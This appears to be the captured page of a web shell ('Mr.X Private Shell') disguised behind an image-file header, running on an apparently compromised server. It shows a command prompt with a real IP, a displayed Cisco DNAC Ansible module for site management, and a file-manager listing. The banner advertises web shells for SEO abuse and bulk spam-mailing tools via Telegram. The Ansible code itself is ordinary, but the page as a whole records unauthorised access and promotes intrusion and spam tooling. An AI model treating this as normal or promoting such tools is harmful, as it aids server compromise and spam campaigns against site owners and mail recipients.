����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-

# Copyright (c) 2022, Cisco Systems
# GNU General Public License v3.0+ (see LICENSE or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function

__metaclass__ = type
__author__ = ("Madhan Sankaranarayanan, Rishita Chowdhary")

DOCUMENTATION = r"""
---
module: site_intent
short_description: Resource module for Site operations
description:
- Manage operation create, update and delete of the resource Sites.
- Creates site with area/building/floor with specified hierarchy.
- Updates site with area/building/floor with specified hierarchy.
- Deletes site with area/building/floor with specified hierarchy.
version_added: '6.6.0'
extends_documentation_fragment:
  - cisco.dnac.intent_params
author: Madhan Sankaranarayanan (@madhansansel)
        Rishita Chowdhary (@rishitachowdhary)
options:
  state:
    description: The state of DNAC after module completion.
    type: str
    choices: [ merged, deleted ]
    default: merged
  config:
    description:
    - List of details of site being managed.
    type: list
    elements: dict
    required: true
    suboptions:
      type:
        description: Type of site to create/update/delete (eg area, building, floor).
        type: str
      site:
        description: Site Details.
        type: dict
        suboptions:
          area:
            description: Site Create's area.
            type: dict
            suboptions:
              name:
                description: Name of the area (eg Area1).
                type: str
              parentName:
                description: Parent name of the area to be created.
                type: str
          building:
            description: Building Details.
            type: dict
            suboptions:
              address:
                description: Address of the building to be created.
                type: str
              latitude:
                description: Latitude coordinate of the building (eg 37.338).
                type: int
              longitude:
                description: Longitude coordinate of the building (eg -121.832).
                type: int
              name:
                description: Name of the building (eg building1).
                type: str
              parentName:
                description: Parent name of building to be created.
                type: str
          floor:
            description: Site Create's floor.
            type: dict
            suboptions:
              height:
                description: Height of the floor (eg 15).
                type: int
              length:
                description: Length of the floor (eg 100).
                type: int
              name:
                description: Name of the floor (eg floor-1).
                type: str
              parentName:
                description: Parent name of the floor to be created.
                type: str
              rfModel:
                description: Type of floor. Allowed values are 'Cubes And Walled Offices',
                  'Drywall Office Only', 'Indoor High Ceiling', 'Outdoor Open Space'.
                type: str
              width:
                description: Width of the floor (eg 100).
                type: int

requirements:
- dnacentersdk == 2.4.5
- python >= 3.5
notes:
  - SDK Method used are
    sites.Sites.create_site,
    sites.Sites.update_site,
    sites.Sites.delete_site

  - Paths used are
    post /dna/intent/api/v1/site,
    put dna/intent/api/v1/site/{siteId},
    delete dna/intent/api/v1/site/{siteId}
"""

EXAMPLES = r"""
- name: Create a new building site
  cisco.dnac.site_intent:
    dnac_host: "{{dnac_host}}"
    dnac_username: "{{dnac_username}}"
    dnac_password: "{{dnac_password}}"
    dnac_verify: "{{dnac_verify}}"
    dnac_port: "{{dnac_port}}"
    dnac_version: "{{dnac_version}}"
    dnac_debug: "{{dnac_debug}}"
    dnac_log: "{{dnac_log}}"
    config:
        site:
          building:
            address: string
            latitude: 0
            longitude: 0
            name: string
            parentName: string
        type: string
"""

RETURN = r"""
#Case_1: Site is successfully created/updated/deleted
response_1:
  description: A dictionary with API execution details as returned by the Cisco DNAC Python SDK
  returned: always
  type: dict
  sample: >
    {
      "response":
        {
             "bapiExecutionId": String,
             "bapiKey": String,
             "bapiName": String,
             "endTime": String,
             "endTimeEpoch": 0,
             "runtimeInstanceId": String,
             "siteId": String,
             "startTime": String,
             "startTimeEpoch": 0,
             "status": String,
             "timeDuration": 0

        },
      "msg": "string"
    }

#Case_2: Site exits and does not need an update
response_2:
  description: A dictionary with existing site details.
  returned: always
  type: dict
  sample: >
    {
      "response":
      {
            "site": {},
            "siteId": String,
            "type": String
      },
      "msg": String
    }

#Case_3: Error while creating/updating/deleting site
response_3:
  description: A dictionary with API execution details as returned by the Cisco DNAC Python SDK
  returned: always
  type: dict
  sample: >
    {
      "response":
        {
             "bapiError": String,
             "bapiExecutionId": String,
             "bapiKey": String,
             "bapiName": String,
             "endTime": String,
             "endTimeEpoch": 0,
             "runtimeInstanceId": String,
             "startTime": String,
             "startTimeEpoch": 0,
             "status": String,
             "timeDuration": 0

        },
      "msg": "string"
    }

#Case_4: Site not found when atempting to delete site
response_4:
  description: A list with the response returned by the Cisco DNAC Python
  returned: always
  type: list
  sample: >
    {
       "response": [],
       "msg": String
    }
"""

from ansible.module_utils.basic import AnsibleModule
from ansible_collections.cisco.dnac.plugins.module_utils.dnac import (
    DNACSDK,
    validate_list_of_dicts,
    log,
    get_dict_result,
    dnac_compare_equality,
)
import copy

floor_plan = {
    '57057': 'CUBES AND WALLED OFFICES',
    '57058': 'DRYWELL OFFICE ONLY',
    '41541500': 'FREE SPACE',
    '57060': 'INDOOR HIGH CEILING',
    '57059': 'OUTDOOR OPEN SPACE'
}


class DnacSite:

    def __init__(self, module):
        self.module = module
        self.params = module.params
        self.config = copy.deepcopy(module.params.get("config"))
        self.have = {}
        self.want_create = {}
        self.diff_create = []
        self.validated = []
        dnac_params = self.get_dnac_params(self.params)
        log(str(dnac_params))
        self.dnac = DNACSDK(params=dnac_params)
        self.log = dnac_params.get("dnac_log")

        self.result = dict(changed=False, diff=[], response=[], warnings=[])

    def get_state(self):
        return self.params.get("state")

    def validate_input(self):
        temp_spec = dict(
            type=dict(required=False, type='str'),
            site=dict(required=True, type='dict'),
        )

        if self.config:
            msg = None
            # Validate site params
            valid_temp, invalid_params = validate_list_of_dicts(
                self.config, temp_spec
            )

            if invalid_params:
                msg = "Invalid parameters in playbook: {0}".format(
                    "\n".join(invalid_params)
                )
                self.module.fail_json(msg=msg)

            self.validated = valid_temp

            if self.log:
                log(str(valid_temp))
                log(str(self.validated))

    def get_dnac_params(self, params):
        dnac_params = dict(
            dnac_host=params.get("dnac_host"),
            dnac_port=params.get("dnac_port"),
            dnac_username=params.get("dnac_username"),
            dnac_password=params.get("dnac_password"),
            dnac_verify=params.get("dnac_verify"),
            dnac_debug=params.get("dnac_debug"),
            dnac_log=params.get("dnac_log")
        )
        return dnac_params

    def get_current_site(self, site):
        site_info = {}

        location = get_dict_result(site[0].get("additionalInfo"), 'nameSpace', "Location")
        typeinfo = location.get("attributes").get("type")

        if typeinfo == "area":
            site_info = dict(
                area=dict(
                    name=site[0].get("name"),
                    parentName=site[0].get("siteNameHierarchy").split("/" + site[0].get("name"))[0]
                )
            )

        elif typeinfo == "building":
            site_info = dict(
                building=dict(
                    name=site[0].get("name"),
                    parentName=site[0].get("siteNameHierarchy").split("/" + site[0].get("name"))[0],
                    address=location.get("attributes").get("address", ""),
                    latitude=location.get("attributes").get("latitude"),
                    longitude=location.get("attributes").get("longitude"),
                )
            )

        elif typeinfo == "floor":
            map_geometry = get_dict_result(site[0].get("additionalInfo"), 'nameSpace', "mapGeometry")
            map_summary = get_dict_result(site[0].get("additionalInfo"), 'nameSpace', "mapsSummary")
            rf_model = map_summary.get("attributes").get("rfModel")

            site_info = dict(
                floor=dict(
                    name=site[0].get("name"),
                    parentName=site[0].get("siteNameHierarchy").split("/" + site[0].get("name"))[0],
                    rfModel=floor_plan.get(rf_model),
                    width=map_geometry.get("attributes").get("width"),
                    length=map_geometry.get("attributes").get("length"),
                    height=map_geometry.get("attributes").get("height")
                )
            )

        current_site = dict(
            type=typeinfo,
            site=site_info,
            siteId=site[0].get("id")
        )

        if self.log:
            log(str(current_site))

        return current_site

    def site_exists(self):
        site_exists = False
        current_site = {}
        response = None
        try:
            response = self.dnac._exec(
                family="sites",
                function='get_site',
                params={"name": self.want.get("site_name")},
            )

        except Exception as e:
            if self.log:
                log("The input site is not valid or site is not present.")

        if response:
            if self.log:
                log(str(response))

            response = response.get("response")
            current_site = self.get_current_site(response)
            site_exists = True

        if self.log:
            log(str(self.validated))

        return (site_exists, current_site)

    def get_site_params(self, params):
        site = params.get("site")
        typeinfo = params.get("type")

        if typeinfo == "floor":
            site["floor"]["rfModel"] = site.get("floor").get("rfModel").upper()

        site_params = dict(
            type=typeinfo,
            site=site,
        )

        return site_params

    def get_site_name(self, site):
        site_type = site.get("type")
        parent_name = site.get("site").get(site_type).get("parentName")
        name = site.get("site").get(site_type).get("name")
        site_name = '/'.join([parent_name, name])

        if self.log:
            log(site_name)

        return site_name

    def site_requires_update(self):
        requested_site = self.want.get("site_params")
        current_site = self.have.get("current_site")

        if self.log:
            log("Current Site: " + str(current_site))
            log("Requested Site: " + str(requested_site))

        obj_params = [
            ("type", "type"),
            ("site", "site")
        ]

        return any(not dnac_compare_equality(current_site.get(dnac_param),
                                             requested_site.get(ansible_param))
                   for (dnac_param, ansible_param) in obj_params)

    def get_execution_details(self, execid):
        response = None
        response = self.dnac._exec(
            family="task",
            function='get_business_api_execution_details',
            params={"execution_id": execid}
        )

        if self.log:
            log(str(response))

        if response and isinstance(response, dict):
            return response

    def get_have(self):
        site_exists = False
        current_site = None
        have = {}

        # check if given site exits, if exists store current site info
        (site_exists, current_site) = self.site_exists()

        if self.log:
            log("Site Exists: " + str(site_exists) + "\n Current Site:" + str(current_site))

        if site_exists:
            have["site_id"] = current_site.get("siteId")
            have["site_exists"] = site_exists
            have["current_site"] = current_site

        self.have = have

    def get_want(self):
        want = {}

        for site in self.validated:
            want = dict(
                site_params=self.get_site_params(site),
                site_name=self.get_site_name(site),
            )

        self.want = want

    def get_diff_merge(self):
        site_updated = False
        site_created = False

        # check if the given site exists and/or needs to be updated/created.
        if self.have.get("site_exists"):
            if self.site_requires_update():
                # Existing Site requires update
                site_params = self.want.get("site_params")
                site_params["site_id"] = self.have.get("site_id")
                response = self.dnac._exec(
                    family="sites",
                    function='update_site',
                    op_modifies=True,
                    params=site_params,
                )
                site_updated = True

            else:
                # Site does not neet update
                self.result['response'] = self.have.get("current_site")
                self.result['msg'] = "Site does not need update"
                self.module.exit_json(**self.result)

        else:
            # Creating New Site
            response = self.dnac._exec(
                family="sites",
                function='create_site',
                op_modifies=True,
                params=self.want.get("site_params"),
            )

            log(str(response))
            site_created = True

        if site_created or site_updated:
            if response and isinstance(response, dict):
                executionid = response.get("executionId")
                while True:
                    execution_details = self.get_execution_details(executionid)
                    if execution_details.get("status") == "SUCCESS":
                        self.result['changed'] = True
                        self.result['response'] = execution_details
                        break

                    elif execution_details.get("bapiError"):
                        self.module.fail_json(msg=execution_details.get("bapiError"),
                                              response=execution_details)
                        break

                if site_updated:
                    log("Site Updated Successfully")
                    self.result['msg'] = "Site Updated Successfully"
                    self.result['response'].update({"siteId": self.have.get("site_id")})

                else:
                    # Get the site id of the newly created site.
                    (site_exists, current_site) = self.site_exists()

                    if site_exists:
                        log("Site Created Successfully")
                        log("Current site:" + str(current_site))
                        self.result['msg'] = "Site Created Successfully"
                        self.result['response'].update({"siteId": current_site.get('site_id')})

    def get_diff_delete(self):
        site_exists = self.have.get("site_exists")

        if site_exists:
            response = self.dnac._exec(
                family="sites",
                function="delete_site",
                params={"site_id": self.have.get("site_id")},
            )

            if response and isinstance(response, dict):
                executionid = response.get("executionId")
                while True:
                    execution_details = self.get_execution_details(executionid)
                    if execution_details.get("status") == "SUCCESS":
                        self.result['changed'] = True
                        self.result['response'] = execution_details
                        self.result['response'].update({"siteId": self.have.get("site_id")})
                        self.result['msg'] = "Site deleted successfully"
                        break

                    elif execution_details.get("bapiError"):
                        self.module.fail_json(msg=execution_details.get("bapiError"),
                                              response=execution_details)
                        break

        else:
            self.module.fail_json(msg="Site Not Found", response=[])


def main():
    """ main entry point for module execution
    """

    element_spec = dict(
        dnac_host=dict(required=True, type='str'),
        dnac_port=dict(type='str', default='443'),
        dnac_username=dict(type='str', default='admin', aliases=["user"]),
        dnac_password=dict(type='str', no_log=True),
        dnac_verify=dict(type='bool', default='True'),
        dnac_version=dict(type="str", default="2.2.3.3"),
        dnac_debug=dict(type='bool', default=False),
        dnac_log=dict(type='bool', default=False),
        validate_response_schema=dict(type="bool", default=True),
        config=dict(required=True, type='list', elements='dict'),
        state=dict(
            default='merged',
            choices=['merged', 'deleted']),
    )

    module = AnsibleModule(argument_spec=element_spec,
                           supports_check_mode=False)

    dnac_site = DnacSite(module)
    dnac_site.validate_input()
    state = dnac_site.get_state()

    dnac_site.get_want()
    dnac_site.get_have()

    if state == "merged":
        dnac_site.get_diff_merge()

    elif state == "deleted":
        dnac_site.get_diff_delete()

    module.exit_json(**dnac_site.result)


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
accesspoint_configuration_details_by_task_id_info.py File 2.81 KB 0644
app_policy_default_info.py File 3.92 KB 0644
app_policy_info.py File 5.15 KB 0644
app_policy_intent_create.py File 9.63 KB 0644
app_policy_queuing_profile.py File 6.34 KB 0644
app_policy_queuing_profile_count_info.py File 1.78 KB 0644
app_policy_queuing_profile_info.py File 4.37 KB 0644
application_sets.py File 2.47 KB 0644
application_sets_count_info.py File 1.66 KB 0644
application_sets_info.py File 1.97 KB 0644
applications.py File 7.28 KB 0644
applications_count_info.py File 1.6 KB 0644
applications_health_info.py File 4.38 KB 0644
applications_info.py File 3.15 KB 0644
assign_device_to_site.py File 1.98 KB 0644
associate_site_to_network_profile.py File 1.8 KB 0644
authentication_import_certificate.py File 2.04 KB 0644
authentication_import_certificate_p12.py File 2.08 KB 0644
authentication_policy_servers_info.py File 3.38 KB 0644
buildings_planned_access_points_info.py File 3.32 KB 0644
business_sda_hostonboarding_ssid_ippool.py File 2.98 KB 0644
business_sda_hostonboarding_ssid_ippool_info.py File 2.06 KB 0644
business_sda_virtual_network_summary_info.py File 2 KB 0644
business_sda_wireless_controller_create.py File 1.83 KB 0644
business_sda_wireless_controller_delete.py File 1.93 KB 0644
cli_credential.py File 3.22 KB 0644
client_detail_info.py File 4.91 KB 0644
client_enrichment_details_info.py File 6.84 KB 0644
client_health_info.py File 2.89 KB 0644
client_proximity_info.py File 2.5 KB 0644
command_runner_run_command.py File 2.25 KB 0644
compliance_check_run.py File 1.81 KB 0644
compliance_device_by_id_info.py File 3.99 KB 0644
compliance_device_details_count_info.py File 2.17 KB 0644
compliance_device_details_info.py File 2.73 KB 0644
compliance_device_info.py File 3.06 KB 0644
compliance_device_status_count_info.py File 1.9 KB 0644
configuration_template.py File 19.43 KB 0644
configuration_template_clone.py File 2.13 KB 0644
configuration_template_create.py File 18.74 KB 0644
configuration_template_deploy.py File 3.54 KB 0644
configuration_template_deploy_status_info.py File 2.56 KB 0644
configuration_template_deploy_v2.py File 3.01 KB 0644
configuration_template_export_project.py File 1.82 KB 0644
configuration_template_export_template.py File 1.83 KB 0644
configuration_template_import_project.py File 2.02 KB 0644
configuration_template_import_template.py File 21.89 KB 0644
configuration_template_info.py File 9.9 KB 0644
configuration_template_project.py File 27.45 KB 0644
configuration_template_project_info.py File 9.43 KB 0644
configuration_template_version_create.py File 1.8 KB 0644
configuration_template_version_info.py File 2.29 KB 0644
credential_to_site_by_siteid_create_v2.py File 2.31 KB 0644
device_configurations_export.py File 1.8 KB 0644
device_credential_create.py File 5.53 KB 0644
device_credential_delete.py File 1.63 KB 0644
device_credential_info.py File 3.83 KB 0644
device_credential_update.py File 5.31 KB 0644
device_details_info.py File 3.32 KB 0644
device_enrichment_details_info.py File 4.18 KB 0644
device_family_identifiers_details_info.py File 1.93 KB 0644
device_health_info.py File 3.8 KB 0644
device_interface_by_ip_info.py File 2.76 KB 0644
device_interface_count_info.py File 1.6 KB 0644
device_interface_info.py File 3.76 KB 0644
device_interface_isis_info.py File 2.59 KB 0644
device_interface_ospf_info.py File 2.59 KB 0644
device_reboot_apreboot.py File 1.71 KB 0644
device_reboot_apreboot_info.py File 1.97 KB 0644
device_replacement.py File 4.64 KB 0644
device_replacement_count_info.py File 1.92 KB 0644
device_replacement_deploy.py File 2 KB 0644
device_replacement_info.py File 4.24 KB 0644
disassociate_site_to_network_profile.py File 1.84 KB 0644
disasterrecovery_system_operationstatus_info.py File 2.22 KB 0644
disasterrecovery_system_status_info.py File 3.18 KB 0644
discovery.py File 10.61 KB 0644
discovery_count_info.py File 1.59 KB 0644
discovery_device_count_info.py File 1.91 KB 0644
discovery_device_info.py File 3.55 KB 0644
discovery_device_range_info.py File 3.88 KB 0644
discovery_info.py File 3.52 KB 0644
discovery_job_info.py File 3.55 KB 0644
discovery_range_delete.py File 1.84 KB 0644
discovery_range_info.py File 3.82 KB 0644
discovery_summary_info.py File 2.77 KB 0644
dna_command_runner_keywords_info.py File 1.74 KB 0644
dnac_packages_info.py File 1.7 KB 0644
dnacaap_management_execution_status_info.py File 2.11 KB 0644
endpoint_analytics_profiling_rules.py File 6.8 KB 0644
endpoint_analytics_profiling_rules_info.py File 4.92 KB 0644
eox_status_device_info.py File 3.39 KB 0644
eox_status_summary_info.py File 1.65 KB 0644
event_api_status_info.py File 1.81 KB 0644
event_artifact_count_info.py File 1.61 KB 0644
event_artifact_info.py File 3.25 KB 0644
event_config_connector_types_info.py File 1.75 KB 0644
event_count_info.py File 1.79 KB 0644
event_email_config.py File 3.71 KB 0644
event_email_config_create.py File 2.75 KB 0644
event_email_config_info.py File 2.12 KB 0644
event_email_config_update.py File 2.75 KB 0644
event_info.py File 2.66 KB 0644
event_series_audit_logs_info.py File 6 KB 0644
event_series_audit_logs_parent_records_info.py File 5.96 KB 0644
event_series_audit_logs_summary_info.py File 4.75 KB 0644
event_series_count_info.py File 2.47 KB 0644
event_series_info.py File 3.67 KB 0644
event_snmp_config_info.py File 2.8 KB 0644
event_subscription.py File 6.16 KB 0644
event_subscription_count_info.py File 1.77 KB 0644
event_subscription_details_email_info.py File 2.75 KB 0644
event_subscription_details_rest_info.py File 2.99 KB 0644
event_subscription_details_syslog_info.py File 2.87 KB 0644
event_subscription_email.py File 6.23 KB 0644
event_subscription_email_info.py File 4.39 KB 0644
event_subscription_info.py File 4 KB 0644
event_subscription_rest.py File 5.48 KB 0644
event_subscription_rest_info.py File 4.84 KB 0644
event_subscription_syslog.py File 5.44 KB 0644
event_subscription_syslog_info.py File 4.48 KB 0644
event_syslog_config.py File 2.83 KB 0644
event_syslog_config_info.py File 2.8 KB 0644
event_webhook_create.py File 2.47 KB 0644
event_webhook_update.py File 2.47 KB 0644
execute_suggested_actions_commands.py File 2.28 KB 0644
file_import.py File 1.51 KB 0644
file_info.py File 2.09 KB 0644
file_namespace_files_info.py File 2.11 KB 0644
file_namespaces_info.py File 1.59 KB 0644
global_credential_delete.py File 1.73 KB 0644
global_credential_info.py File 2.93 KB 0644
global_credential_update.py File 1.84 KB 0644
global_credential_v2.py File 7.1 KB 0644
global_credential_v2_info.py File 3.97 KB 0644
global_pool.py File 3.91 KB 0644
global_pool_info.py File 2.61 KB 0644
golden_image_create.py File 2.08 KB 0644
golden_tag_image_delete.py File 2.34 KB 0644
golden_tag_image_details_info.py File 2.61 KB 0644
http_read_credential.py File 3.4 KB 0644
http_write_credential.py File 3.44 KB 0644
integration_settings_instances_itsm.py File 4.81 KB 0644
integration_settings_instances_itsm_info.py File 2.29 KB 0644
interface_info.py File 3.04 KB 0644
interface_network_device_detail_info.py File 2.9 KB 0644
interface_network_device_info.py File 2.75 KB 0644
interface_network_device_range_info.py File 3.13 KB 0644
interface_operation_create.py File 2.19 KB 0644
interface_update.py File 2.47 KB 0644
issues_enrichment_details_info.py File 2.35 KB 0644
issues_info.py File 3.28 KB 0644
itsm_cmdb_sync_status_info.py File 2.5 KB 0644
itsm_integration_events_failed_info.py File 2.3 KB 0644
itsm_integration_events_retry.py File 1.94 KB 0644
lan_automation_count_info.py File 1.63 KB 0644
lan_automation_create.py File 3.54 KB 0644
lan_automation_delete.py File 1.73 KB 0644
lan_automation_log_by_serial_number_info.py File 2.73 KB 0644
lan_automation_log_info.py File 3.1 KB 0644
lan_automation_status_info.py File 3.75 KB 0644
license_device_count_info.py File 2.28 KB 0644
license_device_deregistration.py File 1.69 KB 0644
license_device_license_details_info.py File 3.22 KB 0644
license_device_license_summary_info.py File 4.13 KB 0644
license_device_registration.py File 1.84 KB 0644
license_smart_account_details_info.py File 1.77 KB 0644
license_term_details_info.py File 2.45 KB 0644
license_usage_details_info.py File 2.99 KB 0644
license_virtual_account_change.py File 2.04 KB 0644
license_virtual_account_details_info.py File 1.99 KB 0644
netconf_credential.py File 3.11 KB 0644
network_create.py File 6.18 KB 0644
network_device.py File 6.75 KB 0644
network_device_by_ip_info.py File 3.03 KB 0644
network_device_by_serial_number_info.py File 3.16 KB 0644
network_device_chassis_details_info.py File 2.33 KB 0644
network_device_config_count_info.py File 1.62 KB 0644
network_device_config_info.py File 2.52 KB 0644
network_device_count_info.py File 2.56 KB 0644
network_device_custom_prompt.py File 1.88 KB 0644
network_device_custom_prompt_info.py File 1.87 KB 0644
network_device_equipment_info.py File 2.35 KB 0644
network_device_export.py File 2.04 KB 0644
network_device_functional_capability_info.py File 3.42 KB 0644
network_device_global_polling_interval_info.py File 1.73 KB 0644
network_device_info.py File 8 KB 0644
network_device_interface_neighbor_info.py File 2.11 KB 0644
network_device_interface_poe_info.py File 2.4 KB 0644
network_device_inventory_insight_link_mismatch_info.py File 3.67 KB 0644
network_device_lexicographically_sorted_info.py File 4.1 KB 0644
network_device_linecard_details_info.py File 1.98 KB 0644
network_device_meraki_organization_info.py File 1.81 KB 0644
network_device_module_count_info.py File 2.21 KB 0644
network_device_module_info.py File 3.73 KB 0644
network_device_poe_info.py File 1.76 KB 0644
network_device_polling_interval_info.py File 1.75 KB 0644
network_device_range_info.py File 3.42 KB 0644
network_device_register_for_wsa_info.py File 2.27 KB 0644
network_device_stack_details_info.py File 3.65 KB 0644
network_device_summary_info.py File 1.81 KB 0644
network_device_supervisor_card_details_info.py File 2.04 KB 0644
network_device_sync.py File 1.93 KB 0644
network_device_update_role.py File 1.83 KB 0644
network_device_user_defined_field.py File 3.38 KB 0644
network_device_user_defined_field_info.py File 2.17 KB 0644
network_device_vlan_info.py File 2.07 KB 0644
network_device_wireless_lan_info.py File 2.22 KB 0644
network_device_with_snmp_v3_des_info.py File 2.64 KB 0644
network_info.py File 2.13 KB 0644
network_update.py File 6.08 KB 0644
network_v2.py File 7.63 KB 0644
network_v2_info.py File 2.02 KB 0644
nfv_profile.py File 8.75 KB 0644
nfv_profile_info.py File 3.76 KB 0644
nfv_provision.py File 16.58 KB 0644
nfv_provision_detail_info.py File 2.42 KB 0644
nfv_provision_details.py File 1.73 KB 0644
path_trace.py File 3.24 KB 0644
path_trace_info.py File 35.31 KB 0644
planned_access_points_info.py File 3.24 KB 0644
platform_nodes_configuration_summary_info.py File 3.32 KB 0644
platform_release_summary_info.py File 2.1 KB 0644
pnp_device.py File 46 KB 0644
pnp_device_authorize.py File 1.69 KB 0644
pnp_device_claim.py File 3.61 KB 0644
pnp_device_claim_to_site.py File 3.37 KB 0644
pnp_device_config_preview.py File 2.08 KB 0644
pnp_device_count_info.py File 3.45 KB 0644
pnp_device_history_info.py File 2.7 KB 0644
pnp_device_import.py File 45.67 KB 0644
pnp_device_info.py File 13.87 KB 0644
pnp_device_reset.py File 3.04 KB 0644
pnp_device_unclaim.py File 1.68 KB 0644
pnp_global_settings.py File 7.96 KB 0644
pnp_global_settings_info.py File 3.04 KB 0644
pnp_intent.py File 30.29 KB 0644
pnp_server_profile_update.py File 5.13 KB 0644
pnp_smart_account_domains_info.py File 1.64 KB 0644
pnp_virtual_account_add.py File 5.16 KB 0644
pnp_virtual_account_deregister.py File 2.75 KB 0644
pnp_virtual_account_devices_sync.py File 5.33 KB 0644
pnp_virtual_account_sync_result_info.py File 2.73 KB 0644
pnp_virtual_accounts_info.py File 1.78 KB 0644
pnp_workflow.py File 7.73 KB 0644
pnp_workflow_count_info.py File 1.67 KB 0644
pnp_workflow_info.py File 4.15 KB 0644
profiling_rules_count_info.py File 1.89 KB 0644
profiling_rules_in_bulk_create.py File 5.86 KB 0644
projects_details_info.py File 2.38 KB 0644
qos_device_interface.py File 5.33 KB 0644
qos_device_interface_info.py File 3.19 KB 0644
qos_device_interface_info_count_info.py File 1.76 KB 0644
reports.py File 6.25 KB 0644
reports_executions_info.py File 3.25 KB 0644
reports_info.py File 3.91 KB 0644
reports_view_group_info.py File 2.73 KB 0644
reports_view_group_view_info.py File 3.5 KB 0644
reserve_ip_subpool.py File 6.32 KB 0644
reserve_ip_subpool_create.py File 4.39 KB 0644
reserve_ip_subpool_delete.py File 1.67 KB 0644
reserve_ip_subpool_info.py File 3.17 KB 0644
reserve_ip_subpool_update.py File 3.85 KB 0644
role_permissions_info.py File 1.72 KB 0644
roles_info.py File 1.9 KB 0644
sda_count_info.py File 1.37 KB 0644
sda_device_info.py File 1.82 KB 0644
sda_device_role_info.py File 1.84 KB 0644
sda_fabric.py File 1.84 KB 0644
sda_fabric_authentication_profile.py File 4.06 KB 0644
sda_fabric_authentication_profile_info.py File 2.3 KB 0644
sda_fabric_border_device.py File 7.19 KB 0644
sda_fabric_border_device_info.py File 5.96 KB 0644
sda_fabric_control_plane_device.py File 3.04 KB 0644
sda_fabric_control_plane_device_info.py File 2.04 KB 0644
sda_fabric_edge_device.py File 2.67 KB 0644
sda_fabric_edge_device_info.py File 1.91 KB 0644
sda_fabric_info.py File 1.51 KB 0644
sda_fabric_site.py File 2.8 KB 0644
sda_fabric_site_info.py File 1.8 KB 0644
sda_multicast.py File 3.79 KB 0644
sda_multicast_info.py File 2.19 KB 0644
sda_port_assignment_for_access_point.py File 3.51 KB 0644
sda_port_assignment_for_access_point_info.py File 2.32 KB 0644
sda_port_assignment_for_user_device.py File 4.16 KB 0644
sda_port_assignment_for_user_device_info.py File 2.28 KB 0644
sda_provision_device.py File 3.37 KB 0644
sda_provision_device_info.py File 1.82 KB 0644
sda_virtual_network.py File 2.5 KB 0644
sda_virtual_network_info.py File 1.96 KB 0644
sda_virtual_network_ip_pool.py File 4.93 KB 0644
sda_virtual_network_ip_pool_info.py File 2.3 KB 0644
sda_virtual_network_v2.py File 3.83 KB 0644
sda_virtual_network_v2_info.py File 1.93 KB 0644
security_advisories_devices_info.py File 1.81 KB 0644
security_advisories_ids_per_device_info.py File 1.95 KB 0644
security_advisories_info.py File 1.97 KB 0644
security_advisories_per_device_info.py File 2.17 KB 0644
security_advisories_summary_info.py File 2.25 KB 0644
sensor.py File 6.52 KB 0644
sensor_info.py File 2.13 KB 0644
sensor_test_run.py File 1.45 KB 0644
sensor_test_template_duplicate.py File 4.93 KB 0644
sensor_test_template_edit.py File 6.9 KB 0644
service_provider_create.py File 2.06 KB 0644
service_provider_info.py File 2.1 KB 0644
service_provider_profile_delete.py File 1.68 KB 0644
service_provider_update.py File 2.19 KB 0644
service_provider_v2.py File 2.89 KB 0644
service_provider_v2_info.py File 2.13 KB 0644
site_assign_credential.py File 2.24 KB 0644
site_assign_device.py File 1.59 KB 0644
site_count_info.py File 1.58 KB 0644
site_create.py File 3.92 KB 0644
site_delete.py File 1.55 KB 0644
site_design_floormap.py File 2.27 KB 0644
site_design_floormap_info.py File 1.93 KB 0644
site_health_info.py File 3.99 KB 0644
site_info.py File 2.35 KB 0644
site_intent.py File 18.24 KB 0644
site_membership_info.py File 2.34 KB 0644
site_update.py File 3.59 KB 0644
snmp_properties.py File 2.19 KB 0644
snmp_properties_info.py File 1.72 KB 0644
snmpv2_read_community_credential.py File 3 KB 0644
snmpv2_write_community_credential.py File 3.02 KB 0644
snmpv3_credential.py File 3.67 KB 0644
sp_profile_delete_v2.py File 1.66 KB 0644
swim_image_details_info.py File 5.06 KB 0644
swim_import_local.py File 2.41 KB 0644
swim_import_via_url.py File 2.92 KB 0644
swim_intent.py File 29 KB 0644
swim_trigger_activation.py File 2.92 KB 0644
swim_trigger_distribution.py File 2.1 KB 0644
syslog_config_create.py File 2.01 KB 0644
syslog_config_update.py File 2.01 KB 0644
system_health_count_info.py File 2.1 KB 0644
system_health_info.py File 2.74 KB 0644
system_performance_historical_info.py File 2.73 KB 0644
system_performance_info.py File 2.72 KB 0644
tag.py File 4.1 KB 0644
tag_count_info.py File 2.02 KB 0644
tag_info.py File 3.95 KB 0644
tag_member.py File 2.52 KB 0644
tag_member_count_info.py File 1.94 KB 0644
tag_member_info.py File 2.71 KB 0644
tag_member_type_info.py File 1.56 KB 0644
tag_membership.py File 2.03 KB 0644
task_count_info.py File 2.87 KB 0644
task_info.py File 4.5 KB 0644
task_operation_info.py File 2.57 KB 0644
task_tree_info.py File 2.2 KB 0644
template_intent.py File 35.52 KB 0644
template_preview.py File 1.93 KB 0644
templates_details_info.py File 9.67 KB 0644
threat_detail.py File 2.15 KB 0644
threat_detail_count.py File 1.88 KB 0644
threat_summary.py File 1.87 KB 0644
topology_layer_2_info.py File 3.38 KB 0644
topology_layer_3_info.py File 3.42 KB 0644
topology_network_health_info.py File 2.77 KB 0644
topology_physical_info.py File 3.38 KB 0644
topology_site_info.py File 1.92 KB 0644
topology_vlan_details_info.py File 1.58 KB 0644
transit_peer_network.py File 3.64 KB 0644
transit_peer_network_info.py File 2.17 KB 0644
user.py File 2.64 KB 0644
user_enrichment_details_info.py File 4.94 KB 0644
user_info.py File 1.89 KB 0644
users_external_servers_info.py File 2.12 KB 0644
wireless_accespoint_configuration.py File 12.09 KB 0644
